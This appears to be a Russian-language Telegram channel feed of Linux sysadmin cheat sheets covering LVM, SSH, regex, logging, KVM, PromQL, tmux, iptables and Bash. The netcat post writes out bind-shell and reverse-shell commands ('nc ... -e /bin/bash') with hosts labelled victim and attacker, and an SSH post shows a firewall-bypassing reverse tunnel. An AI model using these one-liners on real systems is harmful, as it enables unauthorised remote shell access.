devops_online
2 subscribers
22 photos
6 files
14 links
devops sysadm
Download Telegram
📌 Шпаргалка по управлению LVM (Logical Volume Manager)

📍 Основные компоненты LVM
- PV (Physical Volume) – физический том (жёсткий диск, раздел).
- VG (Volume Group) – группа томов (объединяет PV).
- LV (Logical Volume) – логический том (раздел внутри VG).


🔹 Создание LVM
1️⃣ Создание PV (физического тома)

pvcreate /dev/sdX

📌 Размечаем диск как физический том LVM.

2️⃣ Создание VG (группы томов)

vgcreate my_vg /dev/sdX

📌 Создаём группу томов и добавляем в неё физический диск.

3️⃣ Создание LV (логического тома)

lvcreate -L 10G -n my_lv my_vg

📌 Создаём логический том размером 10 ГБ в группе my_vg.



🔹 Просмотр информации
📋 Список всех PV, VG, LV

pvdisplay # Физические тома
vgdisplay # Группы томов
lvdisplay # Логические тома


📋 Короткий формат

pvs # PV
vgs # VG
lvs # LV




🔹 Управление LVM
📏 Расширение LV

lvextend -L +5G /dev/my_vg/my_lv
resize2fs /dev/my_vg/my_lv # Для ext4
xfs_growfs /dev/my_vg/my_lv # Для XFS

📌 Добавляем 5 ГБ к логическому тому и расширяем файловую систему.

🔪 Удаление LV

lvremove /dev/my_vg/my_lv

📌 Удаление логического тома.

🔪 Удаление VG

vgremove my_vg

📌 Удаление группы томов.

🔪 Удаление PV

pvremove /dev/sdX

📌 Удаление физического тома.



🔹 Дополнительно
📍 Автоматическое распределение PV в VG

vgextend my_vg /dev/sdY

📌 Добавляем новый диск в группу томов.

📍 Сжатие LV (уменьшение размера)

umount /dev/my_vg/my_lv
e2fsck -f /dev/my_vg/my_lv
resize2fs /dev/my_vg/my_lv 10G
lvreduce -L 10G /dev/my_vg/my_lv
mount /dev/my_vg/my_lv /mnt

📌 Уменьшаем размер тома до 10 ГБ (осторожно: может привести к потере данных!).

📍 Создание снапшота

lvcreate -L 1G -s -n my_snapshot /dev/my_vg/my_lv

📌 Создаём снапшот логического тома.



🔥 Полезные команды

lsblk # Просмотр разделов
df -h # Проверка занятого места
blkid # Информация о файловых системах


💡 LVM позволяет динамически изменять размеры томов без перезапуска системы!

👉 @i_odmin_book
🔐 Работа с SSH (OpenSSH, ключи, туннели, Port Forwarding)

1️⃣ Подключение по SSH

ssh user@host
ssh -p 2222 user@host # Подключение к нестандартному порту
ssh -i ~/.ssh/id_rsa user@host # Подключение с указанием ключа


2️⃣ Генерация SSH-ключей

ssh-keygen -t rsa -b 4096 -C "your_email@example.com" # Генерация RSA-ключа
ssh-keygen -t ed25519 -C "your_email@example.com" # Генерация Ed25519-ключа (рекомендуется)

- Открытый ключ id_rsa.pub добавляется на сервер (~/.ssh/authorized_keys).
- Закрытый ключ id_rsa хранится локально.

3️⃣ Добавление ключа в агент SSH

eval "$(ssh-agent -s)" # Запуск агента
ssh-add ~/.ssh/id_rsa # Добавление ключа в агент


4️⃣ Копирование ключа на сервер

ssh-copy-id user@host
cat ~/.ssh/id_rsa.pub | ssh user@host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"


5️⃣ Конфигурация SSH-клиента (~/.ssh/config)
Файл ~/.ssh/config позволяет задать настройки подключения:

Host myserver
HostName example.com
User myuser
Port 2222
IdentityFile ~/.ssh/id_rsa
ForwardAgent yes

Подключение теперь выполняется просто командой:

ssh myserver




📡 Проброс портов (Port Forwarding)

🔄 Локальный порт-форвардинг (L)
Перенаправляет локальный порт (-L local_port:remote_host:remote_port):

ssh -L 8080:127.0.0.1:80 user@host

- Теперь локальный localhost:8080 перенаправляется на host:80.

🔄 Удаленный порт-форвардинг (R)
Перенаправляет порт сервера на локальный компьютер (-R remote_port:local_host:local_port):

ssh -R 9000:localhost:22 user@host

- Теперь подключение к host:9000 попадёт на localhost:22.

🔄 Динамический порт-форвардинг (SOCKS-прокси)

ssh -D 1080 user@host

- Теперь можно использовать localhost:1080 как SOCKS-прокси.



🔀 Обход брандмауэров (Reverse SSH-туннель)
Если сервер за NAT или firewall, создаем обратное подключение:

ssh -R 2222:localhost:22 user@public-server
ssh -p 2222 localhost # Теперь можно подключаться с public-server обратно




📑 Полезные команды

🔍 Просмотр информации о сервере:

ssh user@host 'uname -a && uptime'


📡 Подключение без выполнения команд (для туннелей):

ssh -N -D 1080 user@host


⏳ Подключение с поддержкой восстановления соединения:

autossh -M 0 -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -N -D 1080 user@host


🔒 Ограничение команд пользователя в authorized_keys:

command="/path/to/script.sh",no-agent-forwarding,no-X11-forwarding ssh-rsa AAAAB3...




🔥 Дополнительные параметры SSH
🔹 Выключение строгой проверки хоста:

ssh -o StrictHostKeyChecking=no user@host

🔹 Использование прокси:

ssh -o ProxyCommand="nc -X 5 -x proxyhost:1080 %h %p" user@host

🔹 Перезапуск службы SSH:

sudo systemctl restart sshd # Для systemd
sudo service ssh restart # Для SysVinit

🔹 Проверка лога SSH:

sudo journalctl -u sshd --no-pager | tail -n 20 # Для systemd
sudo tail -f /var/log/auth.log # Для Debian/Ubuntu
sudo tail -f /var/log/secure # Для CentOS


👉 @i_odmin_book
🔹 Шпаргалка по REGEX для Админов 🔹

📌 Основы
. – любой символ
^ – начало строки
$ – конец строки
\d – любая цифра (0-9)
\w – любая буква или цифра (a-z, A-Z, 0-9, _)
\s – пробел, табуляция, перевод строки
\b – граница слова
\n – перевод строки

📌 Квантификаторы
* – 0 или больше раз (жадный)
+ – 1 или больше раз (жадный)
? – 0 или 1 раз
{n} – ровно n повторений
{n,} – n или больше повторений
{n,m} – от n до m повторений

📌 Группировка и Альтернация
(abc) – группа
(?:abc) – негруппирующая скобка
abc|def – abc или def

📌 Классы символов
[abc] – любой символ из списка
[^abc] – любой символ, кроме указанных
[a-z] – диапазон символов (от a до z)
[0-9] – цифры

📌 Якори
\b – граница слова
\B – не граница слова
^ – начало строки
$ – конец строки

📌 Практические примеры
✅ Найти все IP-адреса

\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b

✅ Вытащить email-адреса

\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b

✅ Проверить номер телефона (формат +7 900 123-45-67)

\+7\s\d{3}\s\d{3}-\d{2}-\d{2}

✅ Найти даты в формате YYYY-MM-DD

\b\d{4}-\d{2}-\d{2}\b


🔥 Используйте grep, sed, awk и Perl для работы с REGEX в Linux!

💾 Полезные утилиты:
grep -E 'regex' file.txt
sed -n '/regex/p' file.txt
awk '/regex/ {print $0}' file.txt

👉 @i_odmin
📌 Журналы системы и мониторинг

🖥️ Основные инструменты логирования и мониторинга в Linux

📜 journalctl – просмотр логов systemd
🔹 journalctl -f — следить за логами в реальном времени
🔹 journalctl -u nginx — логи конкретного сервиса
🔹 journalctl --since "1 hour ago" — логи за последний час
🔹 journalctl -b -1 — логи предыдущей загрузки

💡 Фильтрация:
🔹 journalctl -p err — только ошибки
🔹 journalctl -k — только сообщения ядра



🔄 logrotate – ротация логов
Файл конфигурации: /etc/logrotate.conf

Пример настройки ротации:

/var/log/nginx/*.log {
weekly
rotate 4
compress
missingok
notifempty
}

🔹 logrotate -d /etc/logrotate.conf — тест без изменений
🔹 logrotate -f /etc/logrotate.conf — принудительная ротация



📡 syslog (rsyslog, syslog-ng) – логирование в файлы и удаленно
🔹 Конфиг: /etc/rsyslog.conf
🔹 /var/log/syslog — общий системный лог
🔹 /var/log/auth.log — авторизации
🔹 /var/log/kern.log — логи ядра

💡 Пример отправки логов на удалённый сервер (rsyslog):
Добавить в /etc/rsyslog.conf:

*.* @192.168.1.100:514

🔹 Перезапуск: systemctl restart rsyslog



⚙️ dmesg – логи ядра
🔹 dmesg | grep -i error — ошибки ядра
🔹 dmesg -T — отображение времени в читаемом формате

🛠 Полезные команды:
🔹 dmesg -H — цветная и структурированная выдача
🔹 dmesg --level=err,warn — фильтр по уровню



📊 Мониторинг логов
🔹 tail -f /var/log/syslog — следить за логами
🔹 grep -i "error" /var/log/syslog — поиск ошибок
🔹 awk '{print $5}' /var/log/syslog | sort | uniq -c | sort -nr — топ источников логов

💡 Автоматизация: используйте fail2ban, logwatch и Grafana+Loki для анализа логов 🔥

⚡ Сохрани, чтобы не потерять! 🚀

👉 @i_odmin_book
🔧 Автоматическое монтирование дисков в Linux

🔹 1. Определение дисков и разделов
Перед монтированием нужно узнать, какие диски доступны:


lsblk # Показывает структуру дисков и разделов
fdisk -l # Выводит информацию о разметке дисков
blkid # Показывает UUID и метки файловых систем


🔹 2. Монтирование вручную (для проверки)

sudo mount /dev/sdXn /mnt

🔹 где /dev/sdXn – ваш раздел, /mnt – точка монтирования.
Проверить можно командой df -h.

Отключение монтирования:

sudo umount /mnt


🔹 3. Автоматическое монтирование через /etc/fstab
Для автоматического монтирования при загрузке добавьте строку в /etc/fstab:

UUID=xxxx-xxxx /mnt ext4 defaults 0 2

👉 Как узнать UUID?

blkid | grep /dev/sdXn

🔹 Формат записи в fstab:

<устройство> <точка монтирования> <ФС> <опции> <dump> <pass>

📌 Пример для NTFS (Windows-диски):

UUID=xxxx-xxxx /mnt/ntfs ntfs-3g defaults,uid=1000,gid=1000,dmask=027,fmask=137 0 0


🔄 Применение без перезагрузки:

sudo mount -a


🔹 4. Автомонтирование через systemd (для USB и съемных дисков)
Создаем unit-файл:

sudo nano /etc/systemd/system/mnt-usb.mount

Вставляем:

[Unit]
Description=Монтирование USB
Requires=systemd-fsck@dev-sdb1.service
After=systemd-fsck@dev-sdb1.service

[Mount]
What=/dev/sdb1
Where=/mnt/usb
Type=vfat
Options=defaults,noatime

[Install]
WantedBy=multi-user.target

Активируем:

sudo systemctl daemon-reload
sudo systemctl enable mnt-usb.mount
sudo systemctl start mnt-usb.mount


🔹 5. Автомонтирование через udev (динамическое монтирование)
Создаем правило:

sudo nano /etc/udev/rules.d/99-usb-mount.rules

Добавляем:

ACTION=="add", KERNEL=="sd[b-z][1-9]", RUN+="/bin/mount /dev/%k /mnt/usb"
ACTION=="remove", KERNEL=="sd[b-z][1-9]", RUN+="/bin/umount /mnt/usb"

Применяем изменения:

sudo udevadm control --reload-rules
sudo udevadm trigger


👉 @i_odmin
🎯 Шпаргалка по регулярным выражениям (RegEx)

Полезно для всех, кто работает с текстом, логами, парсингом или просто хочет стать гуру поиска 🔍


🔤 Символы для сопоставления

. — любой символ, кроме перевода строки
\w — буква, цифра или подчёркивание
\W — любой символ, кроме \w
\d — цифра (0–9)
\D — любой символ, кроме цифры
\s — пробельный символ
\S — любой непробельный символ




⚓ Якоря (позиции в строке)

^ — начало строки
$ — конец строки
\b — граница слова
\B — не граница слова




➕ Квантификаторы (повторы)

* — 0 или более раз
+ — 1 или более раз
? — 0 или 1 раз
{n} — ровно n раз
{n,} — от n раз
{n,m} — от n до m раз




🧩 Классы символов

[abc] — один из: a, b или c
[^abc] — любой, кроме: a, b или c
[a-z] — символ от a до z
[0-9] — цифра от 0 до 9




🌀 Группировка и выбор

(...) — захватывающая группа
(?:...) — НЕзахватывающая группа
| — логическое ИЛИ (или то, или это)




🛡 Экранирование

\ — экранирует спецсимвол (например, \. — точка)




🧪 Примеры

\d{3}-\d{2}-\d{4} — формат SSN: 123-45-6789
\w+@\w+\.\w+ — email-адрес


📌 Сохрани, чтобы не потерять!

👉 @i_odmin
Forwarded from Bash Советы
🛡 Проверка SSL-сертификатов с помощью Bash

Иногда нужно быстро проверить срок действия SSL-сертификата удалённого сайта. Вот удобный однострочник на Bash, который покажет дату окончания действия сертификата:


echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null \
| openssl x509 -noout -dates | grep notAfter


📆 Чтобы получить только оставшиеся дни до окончания:


end_date=$(echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null \
| openssl x509 -noout -enddate | cut -d= -f2)

end_ts=$(date -d "$end_date" +%s)
now_ts=$(date +%s)
echo "Осталось дней: $(( (end_ts - now_ts) / 86400 ))"


🔒 Полезно для автоматического мониторинга или проверки перед продлением сертификатов!

👉@bash_srv
Полезные команды Linux. Манипуляции с текстом

# cat -n file1
Вывести содержимое файла, нумеруя выводимые строки
# cat example.txt | awk 'NR%2==1'
Вывести только не четные строки файла
# echo a b c | awk '{print $1,$3}'
Вывести первую и третью колонки. Разделение, по-умолчанию, по пробельным символам или символу табуляции
# echo a b c | awk '{print $1}'
Вывести первую колонку содержимого файла. Разделение, по-умолчанию, по пробельным символам или символу табуляции
# comm -3 file1 file2
Сравнить содержимое двух файлов, удаляя строки встречающиеся в обоих файлах
# comm -1 file1 file2
Сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file1
# comm -2 file1 file2
Сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file2
# grep [0-9] /var/log/messages
Отобрать и вывести строки содержащие цифровые символы из файла /var/log/messages
# grep ^Aug /var/log/messages
Отобрать и вывести строки, начинающиеся с сочетания символов "Aug", из файла /var/log/messages
# grep Aug /var/log/messages
Отобрать и вывести строки, содержащие сочетание символов "Aug" из файла /var/log/messages
# grep Aug -R /var/log/*
Отобрать и вывести строки, содержащие сочетание символов "Aug", из всех файлов, расположенных в директории /var/log и ниже
# paste -d '+' file1 file2
Объединить содержимое file1 и file2 в виде таблицы с разделителем "+"
# paste file1 file2
Объединить содержимое file1 и file2 в виде таблицы: строка 1 из file1 = строка 1 колонка 1-n, строка 1 из file2 = строка 1 колонка n+1-m
# sdiff file1 file2
Сравнить содержимое двух файлов
# sed 's/string1/string2/g' example.txt
Заменить string1 на string2 в файле example.txt и вывести содержимое
# sed '/ *#/d; /^$/d' example.txt
Удалить пустые строки и комментарии из файла example.txt
# sed '/^$/d' example.txt
Удалить пустые строки и комментарии из файла example.txt
# sed -e '1d' exampe.txt
Удалить первую строку из файла example.txt
# sed -n '/string1/p'
Отобразить только строки содержащие string1
# sed -e 's/string//g' example.txt
Удалить строку string1 из текста файла example.txt не изменяя всего остального
# sed -e 's/ *$//' example.txt
Удалить пустые символы в конце каждой строки файла example.txt
# sed -n '5p;5q' example.txt
Вывести пятую строку
# sed -n '2,5p' example.txt
Вывести строки со второй по пятую
# sed -e 's/00*/0/g' example.txt
Заменить последовательность из любого количества нулей одним нулём
# sort file1 file2
Вывести отсортированное содержимое двух файлов
# sort file1 file2 | uniq
Вывести отсортированное содержимое двух файлов исключая повторные значения
# sort file1 file2 | uniq -u
Вывести уникальные значения из отсортированного содержимого двух файлов
# sort file1 file2 | uniq -d
Вывести только повторяющиеся значения из отсортированного содержимого двух файлов
# echo 'word' | tr '[:lower:]' '[:upper:]'
Перевести символы нижнего регистра в верхний

👉 @i_odmin_book
🖥 KVM: Управление виртуальными машинами из консоли (шпаргалка)

🔧 1. Проверка поддержки виртуализации:


egrep -c '(vmx|svm)' /proc/cpuinfo


Если результат > 0 — виртуализация поддерживается.

🔧 2. Установка KVM и утилит:


sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager


Для CentOS/RHEL:


sudo yum install qemu-kvm libvirt virt-install bridge-utils virt-manager


🔧 3. Проверка запуска демонов:


sudo systemctl enable --now libvirtd
sudo systemctl status libvirtd




📂 Основные команды управления ВМ:

📌 Список виртуальных машин:


virsh list --all


📌 Запуск ВМ:


virsh start <vm_name>


📌 Остановка ВМ (корректно):


virsh shutdown <vm_name>


📌 Жёсткое выключение (аналог выдернуть шнур):


virsh destroy <vm_name>


📌 Автозапуск при загрузке хоста:


virsh autostart <vm_name>


📌 Удаление ВМ:


virsh undefine <vm_name>


📌 Снимок (snapshot):


virsh snapshot-create-as <vm_name> <snapshot_name>


📌 Восстановление из снимка:


virsh snapshot-revert <vm_name> <snapshot_name>


📌 Консоль к ВМ (требуется virtio):


virsh console <vm_name>




🛠 Создание новой ВМ из образа:


virt-install \
--name vm1 \
--ram 2048 \
--vcpus=2 \
--disk path=/var/lib/libvirt/images/vm1.qcow2,size=20 \
--os-type=linux \
--os-variant=ubuntu20.04 \
--network network=default \
--graphics none \
--console pty,target_type=serial \
--location /iso/ubuntu-20.04.iso \
--extra-args 'console=ttyS0'




💾 Управление образами:

📌 Создать образ диска:


qemu-img create -f qcow2 /var/lib/libvirt/images/vm1.qcow2 20G


📌 Проверка и инфо о диске:


qemu-img info /path/to/image.qcow2




🔗 Сетевые настройки:

📌 Список сетей:


virsh net-list --all


📌 Создание мостовой сети (bridge):
Редактировать /etc/netplan/*.yaml или /etc/network/interfaces (в зависимости от дистрибутива).

📌 Применить изменения:


netplan apply




📎 Полезное:

📌 Список ISO-образов, путь по умолчанию:
/var/lib/libvirt/images/ или /iso/

📌 Управление пулом хранения:


virsh pool-list
virsh vol-list default




💡 Советы:

– Используйте virt-top для мониторинга ВМ в реальном времени.
– Изучите virt-clone для клонирования ВМ.
– Используйте virsh dumpxml и virsh edit для тонкой настройки конфигурации ВМ.

👉 @i_odmin_book
🎯 Netcat (nc) — универсальный сетевой инструмент
Может устанавливать TCP/UDP-соединения, сканировать порты, прослушивать соединения и передавать данные между хостами.

🔧 Синтаксис:

nc [опции] [хост] [порт]



📘 Основные опции:

-4 Использовать только IPv4
-6 Использовать только IPv6
-l Прослушивать соединения (сервер)
-v Подробный вывод
-n Не выполнять DNS-резолвинг
-s Указать исходный IP
-w Таймаут соединения
-u Использовать UDP вместо TCP
-k Не закрывать соединение после получения
-z Режим сканера портов




🔍 Сканирование портов и баннерграббинг:

nc -zvn 192.168.59.1 20-100 # Скан портов от 20 до 100
nc -zvn 192.168.59.1 80 22 443 # Скан определённых портов
nc -zvn sysxplore.com 80 # Скан сайта
nc sysxplore.com 80 # Получение баннера




🖥 Удалённая оболочка (Remote Shell):

На сервере (жертва):

nc -nlvp 8888 -e /bin/bash

На клиенте (атакующий):

nc 192.168.59.3 8888



🔁 Обратная оболочка (Reverse Shell):

На атакующем хосте:

nc -nlvp 8888

На жертве:

nc 192.168.59.3 8888 -e /bin/bash



📥 Передача файлов:

Скачивание:

nc -nlvp 8888 > файл.txt # Получатель
nc хост 8888 < файл.txt # Отправитель


Загрузка:

nc -nlvp 8888 < файл.txt # Отправитель
nc хост 8888 > файл.txt # Получатель




💬 Чат:

nc -nlvp 8888 # Один клиент
nc хост 8888 # Второй клиент




🎥 Видеопоток:

cat видео.avi | nc -nlvp 8888 # Сервер
nc хост 8888 | mplayer -vo x11 - # Клиент





📦 Сжатие и передача директорий:
Отправитель:

tar cfp - ./папка | nc хост 8888

Получатель:

nc -l -p 8888 | uncompress | tar xvfp -



🔐 Шифрование и передача:

Отправка:

nc -l -p 8888 | openssl enc -d -des3 -pass pass:пароль > файл

Приём:

openssl enc -des3 -pass pass:пароль -in файл | nc хост 8888



💽 Клонирование Linux-диска:

Отправитель:

dd if=/dev/sdX | nc -l -p 8888

Получатель:

nc хост 8888 | dd of=/dev/sdX


👉 @i_odmin_book
👍 Нашли крутую коллекцию приёмов для bash

Pure Bash Bible — охватывает обработку строк, массивов, файлов и многое другое

— Все преобразования производятся на чистом bash, без каких-либо зависимостей

Это идеальный справочник, если вы хотите ускорить свои скрипты и избавиться от ненужных зависимостей


👏 Этичный хакер
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥 ТОП-20 полезных PromQL-запросов для системного администратора

📊 PromQL - язык запросов Prometheus для анализа метрик.

Часто нужные запросы для мониторинга CPU, RAM, дисков, сети и сервисов.


⚡ CPU

1. Загрузка CPU по ядрам


rate(node_cpu_seconds_total{mode!="idle"}[5m])


2. Средняя загрузка CPU на инстанс


avg by(instance)(rate(node_cpu_seconds_total{mode!="idle"}[5m]))


3. CPU > 80% (для алерта)


100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 80



🧠 Память

4. Использование RAM (%)


(1 - (node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes)) * 100


5. Swap usage (%)


(node_memory_SwapTotal_bytes - node_memory_SwapFree_bytes) / node_memory_SwapTotal_bytes * 100



💾 Диски

6. Свободное место на диске (%)


(node_filesystem_avail_bytes{fstype!="tmpfs"}
/ node_filesystem_size_bytes{fstype!="tmpfs"}) * 100


7. IOPS (операции в секунду)


rate(node_disk_reads_completed_total[5m])
+ rate(node_disk_writes_completed_total[5m])


8. Загрузка диска (busy time)


rate(node_disk_io_time_seconds_total[5m])



🌐 Сеть

9. Входящий трафик (байт/с)


rate(node_network_receive_bytes_total[5m])


10. Исходящий трафик (байт/с)


rate(node_network_transmit_bytes_total[5m])


11. Ошибки сети


rate(node_network_receive_errs_total[5m])
+ rate(node_network_transmit_errs_total[5m])



🌍 HTTP и сервисы

12. HTTP-запросы в секунду


rate(http_requests_total[5m])


13. Ошибки 5xx (%)


rate(http_requests_total{status=~"5.."}[5m])
/ rate(http_requests_total[5m]) * 100


14. Время ответа (p95)


histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m]))



🛠️ Системные метрики

15. Load Average (1 мин)


node_load1


16. Открытые TCP-сессии


node_netstat_Tcp_CurrEstab


17. Количество процессов


node_processes_state



🔔 Метрики для алертов

18. Down (инстанс не отвечает)


up == 0


19. Время работы (uptime)


node_time_seconds - node_boot_time_seconds


20. Переполненные файловые дескрипторы


node_filefd_allocated / node_filefd_maximum * 100 > 80


📌 Эти запросы можно сразу использовать в Grafana или в алертах Prometheus.

👉 @i_odmin_book
Шпаргалка по работе с Tmux (терминальный мультиплексор)

1. Установка

CentOS (нужен подключенный репо EPEL)
# yum install tmux
Fedora
# dnf install tmux
Ubuntu/Debian
# apt-get install tmux


2. Конфигурационные файлы

(пользователя, системный):
~/.tmux.conf
/etc/tmux.conf


До версии 2.1
set -g mouse-resize-pane on
set -g mouse-select-pane on
set -g mouse-select-window on
set -g mode-mouse on



3. Работа с Tmux

Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Мы в Max

👉 @i_odmin_book
Процесс загрузки Linux

Диаграмма ниже показывает этапы:

Шаг 1 - Когда мы включаем питание, загружается прошивка BIOS (Basic Input/Output System) или UEFI (Unified Extensible Firmware Interface) из энергонезависимой памяти и выполняет POST (Power On Self Test).

Шаг 2 - BIOS/UEFI обнаруживает устройства, подключенные к системе, включая процессор, оперативную память и устройства хранения данных.

Шаг 3 - Выбирается устройство для загрузки операционной системы. Это может быть жесткий диск, сетевой сервер или CD-ROM.

Шаг 4 - BIOS/UEFI запускает загрузчик (GRUB), который предоставляет меню для выбора операционной системы или функций ядра.

Шаг 5 - После подготовки ядра происходит переход в пользовательское пространство. Ядро запускает systemd как первый процесс в пользовательском пространстве, который управляет процессами и службами, проверяет оставшееся оборудование, монтирует файловые системы и запускает рабочую среду.

Шаг 6 - systemd по умолчанию активирует target unit при загрузке системы. Также выполняются другие анализирующие модули.

Шаг 7 - Система выполняет набор скриптов для настройки среды.

Шаг 8 - Пользователям отображается окно входа в систему. Система готова к работе.

Мы в MAX

👉 @i_odmin
Полезные команды Linux. Фаервол IPTABLES, штатный, для большинства дистрибутивов Linux

# iptables -t filter -L
Вывести список всец цепочек правил

# iptables -t nat -L
Вывести все цепочки из NAT таблицы

# iptables -t nat -F
Очистить все цепочки правил в таблице NAT

# iptables -t filter -X
Очистить все пользовательские цепочки правил в таблице filter

# iptables -t filter -F
Очистить все цепочки правил в таблице filter

# iptables -t filter -A INPUT -p tcp --dport telnet -j ACCEPT
Разрешить входящие соединения с telnet

# iptables -t filter -A OUTPUT -p tcp --dport http -j DROP
Запретить исходящие HTTP соединения

# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
включить NAT (Network Address Translate) исходящих пакетов на интерфейс eth0. Допустимо при использовании с динамически выделяемыми ip-адресами.

# iptables -t nat -A PREROUTING -d 192.168.0.1 -p tcp -m tcp --dport 22 -j DNAT --to-destination 10.0.0.2:22
Пересылка пакетов, адресованных одному хосту, на другой хост

# iptables -t filter -A INPUT -j LOG --log-prefix
Включить логгирование пакетов, проходящих через цепочку INPUT, и добавлением к сообщению префикса "DROP INPUT"

# iptables -t filter -A FORWARD -p tcp --dport pop3 -j ACCEPT
Разрешить форвардинг POP3 соединений

📲 Мы в MAX

👉 @i_odmin
Please open Telegram to view this post
VIEW IN TELEGRAM
Как работает DHCP

📲 Мы в Max

👉 @i_odmin_book
Please open Telegram to view this post
VIEW IN TELEGRAM
Трюки терминала Bash

Полезные комбинации клавиш (хоткеи) и небольшие хитрости, которые сделают Вашу работу в Linux более эффективной.

Горячие клавиши" Bash с Ctrl
Ctrl + n — то же самое, что и стрелка вниз.
Ctrl + p — то же самое, что и стрелка вверх.
Ctrl + r — поиск по предыдущим командам из истории команд (history). Продолжайте нажимать Ctrl + r, чтобы искать дальше. Ctrl + Shift + r — поиск в другую сторону.
Ctrl + s — остановить вывод в терминал.
Ctrl + q — восстановить вывод в терминал после Ctrl + s.
Ctrl + a — перейти к началу строки (аналог клавиши Home).
Ctrl + e — перейти к концу строки (аналог клавиши End).
Ctrl + d — если вы ввели что-то, то Ctrl + d удаляет символ под курсором. В противном случае означает конец ввода и завершает текущую сессию Bash.
Ctrl + k — удалить весь текст от курсора до конца строки.
Ctrl + x + backspace — удалить весь текст от начала строки до курсора.
Ctrl + t — переставить символ до курсора на символ под курсором. Нажмите Esc + t для перестановки двух слов до курсора.
Ctrl + w — удалить слово до курсора; затем Ctrl + y, чтобы вставить его.
Ctrl + u — удалить строку перед курсором; Ctrl + y для вставки его.
Ctrl + _ — отменить ввод.
Ctrl + l — очищает окно терминала. То же самое, что и clear.
Ctrl + x + Ctrl + e — запускает редактор, определённый в переменной $EDITOR, для ввода команды. Полезно для многострочных команд.

Изменить заглавные на строчные и наоборот
Esc + u — преобразовать буквы от курсора до конца строки в заглавные буквы.
Esc + l — преобразовать буквы от курсора до конца строки в нижний регистр.
Esc + c — заменить букву под курсором на заглавную.

Запустить предыдущую команду ещё раз
Запустить команду из истории по номеру (например, 53)
!53
!! — запуск последней команды.
sudo !! — запустить предыдущую команду с sudo.

Запускает последнюю команду и меняет какой-то параметр. Например, меняем "aaa" на "bbb":
# Последняя команда: echo 'aaa'
$ ^aaa^bbb

$ echo 'bbb'
bbb


Важно: предыдущая команда заменит только первое вхождение "aaa". Если вы хотите заменить все вхождения, используйте :&:
^aaa^bbb^:&
# или
!!:gs/aaa/bbb/


Запустить последнюю команду, которая начинается с...
Например, до этого в истории команд была команда cat filename:
!cat
# или
!c


— запускает cat filename ещё раз.

Указание файлов по шаблону в Bash
/etc/pa*wd → /etc/passwd — символ * означает "несколько любых символов".
/b?n/?at → /bin/cat — символ ? означает "один любой символ".
ls -l [a-z]* — вывести список файлов, содержащих только буквы латинского алфавита. В квадратных скобках [] перечисляются символы, которые будут искаться. А символ * после [] означает "хоть сколько раз".
ls {*.sh,*.py} — вывести все .sh и .py файлы. {} используется для группировки нескольких шаблонов по принципу "или".

Полезные переменные окружения Bash
Короткие переменные:
$0 — оболочка командной строки или путь до запускаемого файла.
$1, $2, $3, ... — аргументы запуска скрипта.
$# — число аргументов, переданных в скрипт из терминала.
$? — код завершения последней команды.
$- — текущие опции, установленные для оболочки.
$$ — идентификатор текущего процесса.
$! — идентификатор процесса, завершённого последним.

Более длинные, но тоже полезные переменные:
$DESKTOP_SESSION — текущий менеджер дисплеев.
$EDITOR — редактор текста по умолчанию.
$LANG — используемый системой язык.
$PATH — список директорий, в которых будут искаться исполняемые файлы.
$PWD — текущая директория.
$SHELL — текущая оболочка командной строки.
$USER — имя текущего пользователя.
$HOSTNAME — имя текущего хоста (компьютера).

📲 Мы в MAX

👉 @i_odmin
Шпаргалка по Bash

Файлы и каталоги:
- ls — показать содержимое каталога.
- ls -l — подробный список с правами, владельцами, датами.
- ls -a — показать все файлы, включая скрытые.
- cd <каталог> — сменить каталог.
- cd .. — перейти на уровень выше.
- cd ~ — перейти в домашний каталог.
- pwd — показать текущий путь.
- mkdir <имя> — создать новый каталог.
- rmdir <имя> — удалить пустой каталог.
- touch <файл> — создать пустой файл или обновить метку времени.
- cp <файл_источник> <файл_назначение> — копировать файл.
- cp -r <каталог> — рекурсивно копировать каталог.
- mv <источник> <назначение> — переместить или переименовать файл/каталог.
- rm <файл> — удалить файл.
- rm -r <каталог> — рекурсивно удалить каталог.
- rm -f <файл> — принудительное удаление.

Просмотр содержимого файлов:
- cat <файл> — вывести содержимое файла.
- less <файл> — постраничный просмотр файла.
- head <файл> — показать первые строки файла.
- head -n <число> — задать количество строк.
- tail <файл> — показать последние строки файла.
- tail -f <файл> — следить за изменениями в файле (например, для логов).

Поиск файлов и текста:
- find <путь> -name <имя> — найти файлы по имени.
- find . -name "*.txt" — найти все файлы с расширением .txt в текущем каталоге.
- grep <текст> <файл> — поиск текста в файле.
- grep -r <текст> <каталог> — рекурсивный поиск по каталогам.
